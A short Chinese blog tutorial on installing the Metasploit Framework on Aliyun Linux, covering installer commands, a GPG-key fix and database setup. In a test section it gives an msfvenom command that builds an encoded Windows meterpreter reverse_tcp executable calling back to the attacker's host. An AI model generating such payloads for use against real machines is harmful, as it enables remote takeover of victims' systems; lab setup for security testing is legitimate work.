linux系统安装msf的过程详解
还是自己写下安装过程吧!
我的服务器系统是 Aliyun linux
1、下载安装curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
可能报错:Couldn’t open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit
是因为安装库的问题!解决方法:yum install -y epel-release然后再重复上面那条命令!
2、添加新用户运行msfadduser msf #添加msf用户su msf#切换到msf用户cd /opt/metasploit-framework/bin #切换到msf所在的目录./msfconsole#以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。如果使用root用户启动的话,不会同步数据库!(启动索引已经默认配好了!)直接 msfconsole 就可以启动了!
#相关命令[msf@xxxx root]$ msfmsfbinscan msfconsole msfd msfdb msfelfscan msfmachscan msfpescan msfrop msfrpc msfrpcd msfupdate msfvenom#数据库初始化[msf@xxxx root]$ msfdbCommands: init initialize the component reinit delete and reinitialize the component delete delete and stop the component status check component status start start the component stop stop the component restart restart the component
#测试:e.g.我的虚拟主机是 Win2003(目标机)msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=msf_ip LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe
注:如果是弹性云服务器IP,LHOST 要设置为内网分配IP,不能设公网IP [被这个坑折腾好久!!!吐血!!!]
ps:linux系统下安装msf框架
命令:
wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.runchmod 755 metasploit-latest-linux-installer.run./metasploit-latest-linux-installer.run
等待运行结束即可。关键地方按回车和Y即可。
总结
到此这篇关于linux系统安装msf的过程详解的文章就介绍到这了,更多相关linux系统安装msf内容请搜索好吧啦网以前的文章或继续浏览下面的相关文章希望大家以后多多支持好吧啦网!
相关文章:
1. 录屏怎么保存gif动图? UOS录屏生成Gif动画的技巧2. 华为笔记本如何重装系统win10?华为笔记本重装Win10系统步骤教程3. 通过修改注册表来提高系统的稳定安全让计算机坚强起来4. Debian11怎么结束进程? Debian杀死进程的技巧5. Thinkpad e580笔记本怎么绕过TPM2.0安装Win11系统?6. 如何安装win10和win11双系统?win10和win11双系统安装详细教程7. 5代处理器能升级Win11吗?5代处理器是否不能升级Win11详情介绍8. CentOS上的安全防护软件Selinux详解9. freebsd 服务器 ARP绑定脚本10. 中兴新支点操作系统全面支持龙芯3A3000 附新特性
